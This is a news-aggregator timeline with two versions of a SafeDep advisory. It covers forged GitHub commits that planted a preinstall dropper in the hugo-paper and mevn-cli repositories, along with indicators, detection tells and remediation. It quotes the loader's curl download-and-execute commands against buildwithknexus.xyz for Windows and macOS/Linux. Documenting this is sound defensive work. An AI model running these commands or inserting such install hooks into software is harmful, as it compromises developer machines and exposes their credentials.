Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus[.]xyz

Linha do tempo

1. safedep.io ↗ · pub. 19/10/2026 21:00 · coletado 02/11 05:00

   Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus[.]xyz

   ler a análise desta fonte ocultar

   An attacker pushed forged commits into two unrelated GitHub projects, hugo-paper and mevn-cli, adding a malicious preinstall hook that downloads and runs a second-stage script from buildwithknexus[.]xyz whenever npm install or bun install is executed. The commits copy the author, date and message of legitimate tip commits, so history looks untouched. No npm package carries the payload, so registry scanners miss it. SafeDep infers stolen maintainer push credentials but has not confirmed this, and has not retrieved the second stage.

   Technical Details

   • The hook is the first entry under scripts in package.json: node scripts/preinstall.js.
   • The loader uses curl -ks (TLS checks off, silent) to fetch /check_m (macOS/Linux, saved to /tmp/check and run in the background with nohup) or /check_w (Windows, saved to %TEMP%\check.cmd and run via cmd). All execSync calls use stdio ignore.
   • hugo-paper: on 2026-08-21 02:22 UTC the attacker force-pushed commit a68d2c9b over main, replacing merge commit de1169ec (PR #267). Tells: the "Verified" badge is gone and the commit has one parent instead of two.
   • mevn-cli: on 2026-08-20 11:23 UTC the attacker appended commits (eabf4d9, f883021 on develop; 3a30d0d, ceb4558 on master) that copy the preceding commit's metadata. Payload v1 used hidden PowerShell and likely broke on Windows. Payload v2 uses curl.exe and cmd /c. The last npm release (1.8.3, 2022) is clean.
   • Forks made after the attack inherit the payload. The activity is not linked to GlassWorm or ForceMemo: same git technique, but different tooling and no shared indicators.

   Remediation

   • You are affected if you cloned or pulled the affected branches after the dates above and ran a package install without --ignore-scripts.
   • Treat the machine or CI runner as compromised. Look for /tmp/check, %TEMP%\check.cmd and any reference to buildwithknexus.xyz.
   • Rotate all reachable secrets: GitHub tokens, SSH keys, npm tokens, cloud credentials, .env files and browser-stored credentials.
   • Block buildwithknexus.xyz at DNS or proxy level and search egress logs for earlier connections.
2. safedep.io ↗ · pub. 19/10/2026 21:00 · coletado 20/10 07:00 primeiro registro

   Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus.xyz

   ler a análise desta fonte ocultar

   An attacker pushed forged commits to the default branches of two unrelated GitHub projects, hugo-paper and mevn-cli. The commits add a preinstall hook (scripts/preinstall.js) that downloads and silently runs a second-stage script from buildwithknexus[.]xyz during npm install or bun install. The commits copy the author, date and message of the previous tip commit, so the history looks untouched. No npm package carries the payload, so registry scanners miss it. SafeDep has not retrieved the second stage and advises treating any machine that ran the hook as compromised. The pattern suggests stolen maintainer push credentials, but this is inferred and unconfirmed.

   Technical Details

   • The hook is inserted as the first entry under scripts in package.json: "preinstall": "node scripts/preinstall.js".
   • On Windows the loader runs curl.exe -ks https://buildwithknexus.xyz/check_w -o %TEMP%\check.cmd and then executes it via cmd /c. On macOS and Linux it runs curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check and executes it with nohup in the background. All execSync calls use stdio: ignore, and -k disables TLS verification.
   • The server controls the second stage (check_m, check_w) and can change it at any time.
   • mevn-cli attack (2026-08-20 11:23 UTC): new commits were appended on develop and master, each copying the metadata of the previous commit. Loader v1 (hidden PowerShell on Windows) was replaced by v2 (curl.exe + cmd /c), likely because v1 had an escaping bug. The maintainer never signed commits, and the master commits carry a 2020 date.
   • hugo-paper attack (2026-08-21 02:22 UTC): commit a68d2c9b was force-pushed over main, replacing the signed merge commit de1169ec of PR #267. Tells: the "Verified" badge is gone and the commit has one parent instead of two. The PR API still reports merge_commit_sha as de1169ec, which no longer exists on any branch. The PR author is not involved.
   • No npm release is affected: hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean. Forks and copies made after the attack inherit the payload.
   • The git technique matches GlassWorm and ForceMemo (credential theft, tip-commit rewrite, force push). The tooling differs (plaintext curl and a fixed domain, no invisible-Unicode loader or Solana C2) and no indicators are shared, so SafeDep treats it as a separate cluster.

   Remediation

   • You are affected if you cloned or pulled hugo-paper main after 2026-08-21, or mevn-cli develop or master after 2026-08-20 (or a fork), and ran npm, bun, yarn or pnpm install without --ignore-scripts. Using the theme only as a Hugo module or git submodule does not trigger the hook.
   • Treat affected machines and CI runners as compromised. Hunt for /tmp/check, %TEMP%\check.cmd, and any process or log entry mentioning buildwithknexus.xyz.
   • Rotate all reachable secrets: GitHub tokens, SSH keys, npm tokens, cloud credentials, .env files and browser-stored credentials.
   • Block buildwithknexus.xyz at DNS or proxy level and search egress logs for earlier connections.